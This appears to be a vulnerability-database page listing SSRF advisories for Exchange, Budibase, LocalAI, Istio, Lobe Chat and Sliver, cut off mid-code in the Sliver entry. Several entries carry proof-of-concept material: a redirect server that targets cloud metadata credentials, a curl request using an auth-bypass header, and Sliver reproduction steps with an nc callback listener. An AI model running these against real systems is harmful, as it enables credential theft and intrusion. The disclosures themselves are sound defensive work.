Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4755 vulnerabilities reference this CWE, most recent first.

GHSA-FGQ9-P33G-XCFC

Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2025-10-22 00:32
VLAI
Details

Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-34473"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-14T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.",
  "id": "GHSA-fgq9-p33g-xcfc",
  "modified": "2025-10-22T00:32:18Z",
  "published": "2022-05-24T19:07:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34473"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34473"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-34473"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-821"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/163895/Microsoft-Exchange-ProxyShell-Remote-Code-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FGQV-JH4G-PVG2

Vulnerability from github – Published: 2026-05-15 17:53 – Updated: 2026-06-08 23:50
VLAI
Summary
Budibase: SSRF Bypass via HTTP Redirect in REST Datasource Integration
Details

Summary

The REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (fetchWithBlacklist in packages/server/src/automations/steps/utils.ts) but the REST integration was missed.

Details

Vulnerable file: packages/server/src/integrations/rest.ts, lines 754-778

The _req() method checks the request URL against the IP blacklist at line 754, then calls fetch(url, input) at line 778. No redirect: "manual" option is set, so undici's fetch defaults to redirect: "follow", automatically following HTTP 301/302/307 redirects without re-validating the redirect target against the blacklist.

// Line 754 — blacklist check on original URL only
if (await blacklist.isBlacklisted(url)) {
  throw new Error("URL is blocked or could not be resolved safely.")
}

// Line 778 — fetch follows redirects, NO re-check on redirect target
response = await fetch(url, input)

The automation steps already implement the correct fix in packages/server/src/automations/steps/utils.ts (lines 100-136) via fetchWithBlacklist(), which sets redirect: "manual" and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper.

Relevant prior fix commits on the automation side: - 6cfa3bcca3 — "fix(server): enforce outbound blacklist in webhook automation steps" - e7d47625be — "Fix automation webhook blacklist redirect bypass"

PoC

Step 1 — Set up a redirect server (attacker-controlled):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()

Step 2 — As a Builder, create a REST datasource pointing to the attacker's server.

Step 3 — Preview a query:

POST /api/queries/preview HTTP/1.1
Host: <budibase-instance>
Content-Type: application/json
Cookie: <builder-session>
x-budibase-app-id: <app-id>

{
  "datasourceId": "<rest-datasource-id>",
  "queryVerb": "read",
  "fields": {
    "path": "http://<attacker-ip>:8080/",
    "queryString": "",
    "headers": {},
    "bodyType": "none",
    "requestBody": ""
  },
  "parameters": [],
  "transformer": "return data",
  "name": "ssrf-test",
  "schema": {}
}

Step 4 — The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:

{
  "rows": [{
    "couchdb": "Welcome",
    "version": "3.3.3",
    "uuid": "a84d3353128485a22973a759df2387bc"
  }]
}

Tested and confirmed on Budibase v3.34.6 running locally with default blacklist active.

Impact

  • Cloud credential theft: On AWS/GCP/Azure instances, attacker accesses 169.254.169.254 to steal IAM credentials or service account tokens.
  • Internal service access: CouchDB (:4005), Redis (:6379), MinIO (:4004), and other internal services become accessible
  • Bypasses explicit security control: The IP blacklist exists specifically to prevent this, and works correctly for direct access — only the redirect path is unprotected.
  • Already-known vulnerability class: This was previously identified and fixed in automation steps (commits 6cfa3bcca3, e7d47625be) but the REST datasource integration was not patched.
Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-15T17:53:08Z",
    "nvd_published_at": "2026-05-27T18:16:25Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (`fetchWithBlacklist` in `packages/server/src/automations/steps/utils.ts`) but the REST integration was missed.\n\n### Details\n\n**Vulnerable file:** `packages/server/src/integrations/rest.ts`, lines 754-778\n\nThe `_req()` method checks the request URL against the IP blacklist at line 754, then calls `fetch(url, input)` at line 778. No `redirect: \"manual\"` option is set, so undici\u0027s fetch defaults to `redirect: \"follow\"`, automatically following HTTP 301/302/307 redirects **without re-validating the redirect target against the blacklist**.\n\n```typescript\n// Line 754 \u2014 blacklist check on original URL only\nif (await blacklist.isBlacklisted(url)) {\n  throw new Error(\"URL is blocked or could not be resolved safely.\")\n}\n\n// Line 778 \u2014 fetch follows redirects, NO re-check on redirect target\nresponse = await fetch(url, input)\n```\n\nThe automation steps already implement the correct fix in `packages/server/src/automations/steps/utils.ts` (lines 100-136) via `fetchWithBlacklist()`, which sets `redirect: \"manual\"` and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper.\n\nRelevant prior fix commits on the automation side:\n- `6cfa3bcca3` \u2014 \"fix(server): enforce outbound blacklist in webhook automation steps\"\n- `e7d47625be` \u2014 \"Fix automation webhook blacklist redirect bypass\"\n\n### PoC\n\n**Step 1 \u2014 Set up a redirect server (attacker-controlled):**\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header(\u0027Location\u0027, \u0027http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0027)\n        self.end_headers()\n\nHTTPServer((\u00270.0.0.0\u0027, 8080), RedirectHandler).serve_forever()\n```\n\n**Step 2 \u2014 As a Builder, create a REST datasource pointing to the attacker\u0027s server.**\n\n**Step 3 \u2014 Preview a query:**\n\n```http\nPOST /api/queries/preview HTTP/1.1\nHost: \u003cbudibase-instance\u003e\nContent-Type: application/json\nCookie: \u003cbuilder-session\u003e\nx-budibase-app-id: \u003capp-id\u003e\n\n{\n  \"datasourceId\": \"\u003crest-datasource-id\u003e\",\n  \"queryVerb\": \"read\",\n  \"fields\": {\n    \"path\": \"http://\u003cattacker-ip\u003e:8080/\",\n    \"queryString\": \"\",\n    \"headers\": {},\n    \"bodyType\": \"none\",\n    \"requestBody\": \"\"\n  },\n  \"parameters\": [],\n  \"transformer\": \"return data\",\n  \"name\": \"ssrf-test\",\n  \"schema\": {}\n}\n```\n\n**Step 4 \u2014 The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:**\n\n```json\n{\n  \"rows\": [{\n    \"couchdb\": \"Welcome\",\n    \"version\": \"3.3.3\",\n    \"uuid\": \"a84d3353128485a22973a759df2387bc\"\n  }]\n}\n```\n\nTested and confirmed on Budibase v3.34.6 running locally with default blacklist active.\n\n### Impact\n\n- **Cloud credential theft:** On AWS/GCP/Azure instances, attacker accesses `169.254.169.254` to steal IAM credentials or service account tokens.\n- **Internal service access:** CouchDB (`:4005`), Redis (`:6379`), MinIO (`:4004`), and other internal services become accessible\n- **Bypasses explicit security control:** The IP blacklist exists specifically to prevent this, and works correctly for direct access \u2014 only the redirect path is unprotected.\n- **Already-known vulnerability class:** This was previously identified and fixed in automation steps (commits `6cfa3bcca3`, `e7d47625be`) but the REST datasource integration was not patched.",
  "id": "GHSA-fgqv-jh4g-pvg2",
  "modified": "2026-06-08T23:50:37Z",
  "published": "2026-05-15T17:53:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-fgqv-jh4g-pvg2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45715"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.38.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: SSRF Bypass via HTTP Redirect in REST Datasource Integration"
}

GHSA-FGV5-QX89-QJRH

Vulnerability from github – Published: 2024-07-06 18:32 – Updated: 2024-07-06 18:32
VLAI
Details

A vulnerability in the /models/apply endpoint of mudler/localai versions 2.15.0 allows for Server-Side Request Forgery (SSRF) and partial Local File Inclusion (LFI). The endpoint supports both http(s):// and file:// schemes, where the latter can lead to LFI. However, the output is limited due to the length of the error message. This vulnerability can be exploited by an attacker with network access to the LocalAI instance, potentially allowing unauthorized access to internal HTTP(s) servers and partial reading of local files. The issue is fixed in version 2.17.

Severity
5.8 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-6095"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-06T18:15:02Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the /models/apply endpoint of mudler/localai versions 2.15.0 allows for Server-Side Request Forgery (SSRF) and partial Local File Inclusion (LFI). The endpoint supports both http(s):// and file:// schemes, where the latter can lead to LFI. However, the output is limited due to the length of the error message. This vulnerability can be exploited by an attacker with network access to the LocalAI instance, potentially allowing unauthorized access to internal HTTP(s) servers and partial reading of local files. The issue is fixed in version 2.17.",
  "id": "GHSA-fgv5-qx89-qjrh",
  "modified": "2024-07-06T18:32:06Z",
  "published": "2024-07-06T18:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6095"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mudler/localai/commit/2fc6fe806b903ac0a70218b21b5c84443a1b0866"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/4799262d-72dc-43c8-bc99-81d0dce996dc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FGW5-HP8F-XFHC

Vulnerability from github – Published: 2026-04-16 21:38 – Updated: 2026-05-08 20:09
VLAI
Summary
Istio: SSRF via RequestAuthentication jwksUri
Details

Impact

When a RequestAuthentication resource is created with a jwksUri pointing to an internal service, istiod makes an unauthenticated HTTP GET request to that URL without filtering out localhost or link local ips. This can result in sensitive data being distributed to Envoy proxies via xDS configuration.

Note: a partial mitigation for this was released in 1.29.1, 128.5, and 1.27.8; however, it was incomplete and missed a few codepaths. 1.29.2 and 1.28.6 contain the more robust fix.

Patches

Has the problem been patched? What versions should users upgrade to?

Workarounds

Users can deploy a ValidatingAdmissionPolicy to prevent the creation of RequestAuthentication resources with suspicious jwksUri field values (e.g. localhost, 127.0.0.0/8, 169.254.0.0/16, the ipv6 variants, etc.).

References

None

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "istio.io/istio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260410004459-189832a289c1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41413"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:38:09Z",
    "nvd_published_at": "2026-05-07T06:16:04Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nWhen a RequestAuthentication resource is created with a jwksUri pointing to an internal service, istiod makes an unauthenticated HTTP GET request to that URL without filtering out localhost or link local ips. This can result in sensitive data being distributed to Envoy proxies via xDS configuration.\n\nNote: a partial mitigation for this was released in 1.29.1, 128.5, and 1.27.8; however, it was incomplete and missed a few codepaths. 1.29.2 and 1.28.6 contain the more robust fix.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n\nUsers can deploy a `ValidatingAdmissionPolicy` to prevent the creation of `RequestAuthentication` resources with suspicious jwksUri field values (e.g. localhost, 127.0.0.0/8, 169.254.0.0/16, the ipv6 variants, etc.).\n\n### References\nNone",
  "id": "GHSA-fgw5-hp8f-xfhc",
  "modified": "2026-05-08T20:09:53Z",
  "published": "2026-04-16T21:38:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/istio/istio/security/advisories/GHSA-fgw5-hp8f-xfhc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41413"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/istio/istio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/istio/istio/releases/tag/1.28.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/istio/istio/releases/tag/1.29.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Istio: SSRF via RequestAuthentication jwksUri"
}

GHSA-FGX4-P8XF-QHP9

Vulnerability from github – Published: 2025-10-17 17:46 – Updated: 2025-10-17 21:32
VLAI
Summary
Lobe Chat vulnerable to Server-Side Request Forgery with native web fetch module
Details

Vulnerability Description

Vulnerability Overview

  • When the client sends an arbitrary URL array and impl: ["naive"] to the tRPC endpoint tools.search.crawlPages, the server issues outbound HTTP requests directly to those URLs. There is no defensive logic that restricts or validates requests to internal networks (127.0.0.1, localhost, private ranges) or metadata endpoints (169.254.169.254).

  • Flow: client input (urls, impls) → service invocation in the tRPC router → the service passes the URLs to Crawler.crawl → the Crawler prioritizes the user-specified impls (naive) → the naive implementation performs a server-side fetch(url) as-is (SSRF) → the server collects responses from internal resources.

  • In the dev environment, authentication can be bypassed using the lobe-auth-dev-backend-api: 1 header (production requires a valid token). In the PoC, this was used to successfully retrieve the internal API at localhost:8889 from the server side.

Vulnerable Code

https://github.com/lobehub/lobe-chat/blob/d942a635b36a231156c60d824afa573af8032572/packages/web-crawler/src/crawImpl/naive.ts#L39-L45

PoC

PoC Description

  • In dev mode, we made a single tRPC call using the auth-bypass header lobe-auth-dev-backend-api: 1. Since tRPC requires the body to be in the form {"json": { ... }}, we placed urls and impls: ["naive"] inside json to induce the server to request the internal URL (http://localhost:8889/internel-api).

  • The response follows tRPC’s wrapping structure, so the actual body of the internal API is included as a string (JSON string) at result.data.json.results[0].data.content. We post-process it with jq for readability.

curl Example 

curl -sS -X POST 'http://localhost:3010/trpc/tools/search.crawlPages' \
  -H 'Content-Type: application/json' \
  -H 'lobe-auth-dev-backend-api: 1' \
  --data '{"json":{"urls":["http://localhost:8889/internal-api"],"impls":["naive"]}}' | jq -r '.result.data.json.results[0].data.content' | jq .

poc

Impact

  • Since the server performs outbound requests to internal networks, localhost, and metadata endpoints, an attacker can abuse the server’s network position to access internal resources (internal APIs, management ports, cloud metadata, etc.).

  • As a result, this can lead to exposure of internal system information, leakage of authentication tokens/secret keys (e.g., IMDSv1/v2), misuse of internal admin interfaces, and provide a foothold for further lateral movement.

  • By leveraging user-supplied impls to force the unfiltered naive implementation, SSRF defenses—such as blocking private/metadata IPs, DNS re-validation/re-resolution, and redirect restrictions—can be bypassed.

Severity
3.0 (Low)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.136.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.136.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62505"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-17T17:46:09Z",
    "nvd_published_at": "2025-10-17T19:15:38Z",
    "severity": "LOW"
  },
  "details": "### Vulnerability Description\n---\n\nVulnerability Overview\n \n- When\u00a0the client sends an arbitrary\u00a0URL\u00a0array and\u00a0impl:\u00a0[\"naive\"]\u00a0to the tRPC endpoint\u00a0tools.search.crawlPages, the server\u00a0issues outbound HTTP requests\u00a0directly to those URLs. There is no\u00a0defensive logic that restricts or validates requests to internal networks (127.0.0.1, localhost, private ranges) or\u00a0metadata endpoints (169.254.169.254).\n\n- Flow: client input (urls,\u00a0impls) \u2192 service\u00a0invocation in the tRPC router\u00a0\u2192 the service passes the URLs\u00a0to\u00a0Crawler.crawl\u00a0\u2192 the\u00a0Crawler\u00a0prioritizes the user-specified\u00a0impls\u00a0(naive)\u00a0\u2192 the\u00a0naive\u00a0implementation performs a server-side\u00a0fetch(url)\u00a0as-is\u00a0(SSRF) \u2192 the\u00a0server collects responses from\u00a0internal resources.\n\n- In the\u00a0dev environment, authentication can\u00a0be bypassed using the\u00a0lobe-auth-dev-backend-api: 1\u00a0header (production\u00a0requires a valid\u00a0token). In the PoC, this was used to successfully retrieve\u00a0the internal API at\u00a0localhost:8889\u00a0from the server side.\n\nVulnerable\u00a0Code\n \n\nhttps://github.com/lobehub/lobe-chat/blob/d942a635b36a231156c60d824afa573af8032572/packages/web-crawler/src/crawImpl/naive.ts#L39-L45\n\n\n### PoC\n---\n\nPoC Description\n\n- In\u00a0dev\u00a0mode, we made a single tRPC call using the auth-bypass header\u00a0lobe-auth-dev-backend-api: 1. Since tRPC requires the\u00a0body to\u00a0be\u00a0in the form\u00a0{\"json\": {\u00a0... }}, we\u00a0placed\u00a0urls\u00a0and\u00a0impls: [\"naive\"]\u00a0inside\u00a0json\u00a0to\u00a0induce the\u00a0server to\u00a0request the\u00a0internal URL\u00a0(http://localhost:8889/internel-api).\n\n- The\u00a0response follows\u00a0tRPC\u2019s wrapping\u00a0structure, so\u00a0the actual body\u00a0of\u00a0the internal\u00a0API is\u00a0included\u00a0as a\u00a0string\u00a0(JSON string) at\u00a0result.data.json.results[0].data.content. We\u00a0post-process\u00a0it\u00a0with\u00a0jq\u00a0for\u00a0readability.\n\ncurl Example \n\n```bash\ncurl -sS -X POST \u0027http://localhost:3010/trpc/tools/search.crawlPages\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027lobe-auth-dev-backend-api: 1\u0027 \\\n  --data \u0027{\"json\":{\"urls\":[\"http://localhost:8889/internal-api\"],\"impls\":[\"naive\"]}}\u0027 | jq -r \u0027.result.data.json.results[0].data.content\u0027 | jq .\n```\n\u003cimg width=\"1916\" height=\"851\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/f3ad34da-f8ac-4e29-9360-3cf1d1f706d8\" /\u003e\n\n\n### Impact\n---\n\n- Since the server performs outbound requests to internal networks, localhost, and metadata endpoints, an attacker can abuse the server\u2019s\u00a0network position to access internal resources (internal APIs, management ports, cloud metadata, etc.).\n\n- As a result, this can lead\u00a0to exposure of internal system information, leakage of authentication tokens/secret keys (e.g., IMDSv1/v2), misuse of internal admin interfaces, and\u00a0provide a foothold for further lateral movement.\n\n- By leveraging user-supplied\u00a0impls\u00a0to force the unfiltered\u00a0naive\u00a0implementation, SSRF defenses\u2014such as blocking private/metadata IPs, DNS re-validation/re-resolution, and\u00a0redirect restrictions\u2014can be bypassed.",
  "id": "GHSA-fgx4-p8xf-qhp9",
  "modified": "2025-10-17T21:32:47Z",
  "published": "2025-10-17T17:46:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-fgx4-p8xf-qhp9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62505"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/commit/8d59583dca16f218b99213d641733d8ba77f182c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobe-chat"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/blob/d942a635b36a231156c60d824afa573af8032572/packages/web-crawler/src/crawImpl/naive.ts#L39-L45"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lobe Chat vulnerable to Server-Side Request Forgery with native web fetch module"
}

GHSA-FH4V-V779-4G2W

Vulnerability from github – Published: 2025-02-19 21:11 – Updated: 2025-02-20 22:47
VLAI
Summary
SSRF in sliver teamserver
Details

Summary

The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so

Reproduction steps

Run server

wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
chmod +x sliver-server_linux
./sliver-server_linux

Generate binary

generate --mtls 127.0.0.1:8443

Run it on windows, then Task manager -> find process -> Create memory dump file

Install RogueSliver and get the certs

git clone https://github.com/ACE-Responder/RogueSliver.git
pip3 install -r requirements.txt --break-system-packages
python3 ExtractCerts.py implant.dmp

Start callback listener. Teamserver will connect when POC is run and send "ssrf poc" to nc

nc -nvlp 1111

Run the poc (pasted at bottom of this file)

python3 poc.py <SLIVER IP> <MTLS PORT> <CALLBACK IP> <CALLBACK PORT>
python3 poc.py 192.168.1.33 8443 44.221.186.72 1111

Details

We see here an envelope is read from the connection and if the envelope.Type matches a handler the handler will be executed

func handleSliverConnection(conn net.Conn) {
    mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
    implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())

    defer func() {
        mtlsLog.Debugf("mtls connection closing")
        conn.Close()
        implantConn.Cleanup()
    }()

    done := make(chan bool)
    go func() {
        defer func() {
            done <- true
        }()
        handlers := serverHandlers.GetHandlers()
        for {
            envelope, err := socketReadEnvelope(conn)
            if err != nil {
                mtlsLog.Errorf("Socket read error %v", err)
                return
            }
            implantConn.UpdateLastMessage()
            if envelope.ID != 0 {
                implantConn.RespMutex.RLock()
                if resp, ok := implantConn.Resp[envelope.ID]; ok {
                    resp <- envelope // Could deadlock, maybe want to investigate better solutions
                }
                implantConn.RespMutex.RUnlock()
            } else if handler, ok := handlers[envelope.Type]; ok {
                mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
                go func() {
                    respEnvelope := handler(implantConn, envelope.Data)
                    if respEnvelope != nil {
                        implantConn.Send <- respEnvelope
                    }
                }()
            }
        }
    }()

Loop:
    for {
        select {
        case envelope := <-implantConn.Send:
            err := socketWriteEnvelope(conn, envelope)
            if err != nil {
                mtlsLog.Errorf("Socket write failed %v", err)
                break Loop
            }
        case <-done:
            break Loop
        }
    }
    mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
}

The available handlers:

func GetHandlers() map[uint32]ServerHandler {
    return map[uint32]ServerHandler{
        // Sessions
        sliverpb.MsgRegister:    registerSessionHandler,
        sliverpb.MsgTunnelData:  tunnelDataHandler,
        sliverpb.MsgTunnelClose: tunnelCloseHandler,
        sliverpb.MsgPing:        pingHandler,
        sliverpb.MsgSocksData:   socksDataHandler,

        // Beacons
        sliverpb.MsgBeaconRegister: beaconRegisterHandler,
        sliverpb.MsgBeaconTasks:    beaconTasksHandler,

        // Pivots
        sliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
        sliverpb.MsgPivotPeerFailure:  pivotPeerFailureHandler,
    }
}

If we send an envelope with the envelope.Type equaling MsgTunnelData, we will enter the tunnelDataHandler function

// The handler mutex prevents a send on a closed channel, without it
// two handlers calls may race when a tunnel is quickly created and closed.
func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
    session := core.Sessions.FromImplantConnection(implantConn)
    if session == nil {
        sessionHandlerLog.Warnf("Received tunnel data from unknown session: %v", implantConn)
        return nil
    }
    tunnelHandlerMutex.Lock()
    defer tunnelHandlerMutex.Unlock()
    tunnelData := &sliverpb.TunnelData{}
    proto.Unmarshal(data, tunnelData)

    sessionHandlerLog.Debugf("[DATA] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)

    rtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)
    if rtunnel != nil && session.ID == rtunnel.SessionID {
        RTunnelDataHandler(tunnelData, rtunnel, implantConn)
    } else if rtunnel != nil && session.ID != rtunnel.SessionID {
        sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on reverse tunnel it did not own", session.ID)
    } else if rtunnel == nil && tunnelData.CreateReverse == true {
        createReverseTunnelHandler(implantConn, data)
        //RTunnelDataHandler(tunnelData, rtunnel, implantConn)
    } else {
        tunnel := core.Tunnels.Get(tunnelData.TunnelID)
        if tunnel != nil {
            if session.ID == tunnel.SessionID {
                tunnel.SendDataFromImplant(tunnelData)
            } else {
                sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
            }
        } else {
            sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
        }
    }

    return nil
}

The createReverseTunnelHandler reads the envelope, creating a socket for req.Rportfwd.Host and req.Rportfwd.Port. It will write recv.Data to it

func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
    session := core.Sessions.FromImplantConnection(implantConn)

    req := &sliverpb.TunnelData{}
    proto.Unmarshal(data, req)

    var defaultDialer = new(net.Dialer)

    remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)

    ctx, cancelContext := context.WithCancel(context.Background())

    dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
    //dst, err := net.Dial("tcp", remoteAddress)
    if err != nil {
        tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
            Closed:   true,
            TunnelID: req.TunnelID,
        })
        implantConn.Send <- &sliverpb.Envelope{
            Type: sliverpb.MsgTunnelClose,
            Data: tunnelClose,
        }
        cancelContext()
        return nil
    }

    if conn, ok := dst.(*net.TCPConn); ok {
        // {{if .Config.Debug}}
        //log.Printf("[portfwd] Configuring keep alive")
        // {{end}}
        conn.SetKeepAlive(true)
        // TODO: Make KeepAlive configurable
        conn.SetKeepAlivePeriod(1000 * time.Second)
    }

    tunnel := rtunnels.NewRTunnel(req.TunnelID, session.ID, dst, dst)
    rtunnels.AddRTunnel(tunnel)
    cleanup := func(reason error) {
        // {{if .Config.Debug}}
        sessionHandlerLog.Infof("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
        // {{end}}
        tunnel := rtunnels.GetRTunnel(tunnel.ID)
        rtunnels.RemoveRTunnel(tunnel.ID)
        dst.Close()
        cancelContext()
    }

    go func() {
        tWriter := tunnelWriter{
            tun:  tunnel,
            conn: implantConn,
        }
        // portfwd only uses one reader, hence the tunnel.Readers[0]
        n, err := io.Copy(tWriter, tunnel.Readers[0])
        _ = n // avoid not used compiler error if debug mode is disabled
        // {{if .Config.Debug}}
        sessionHandlerLog.Infof("[tunnel] Tunnel done, wrote %v bytes", n)
        // {{end}}

        cleanup(err)
    }()

    tunnelDataCache.Add(tunnel.ID, req.Sequence, req)

    // NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
    // from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
    // is used here whereas WriteSequence is used for data written back to the server

    // Go through cache and write all sequential data to the reader
    for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
        // {{if .Config.Debug}}
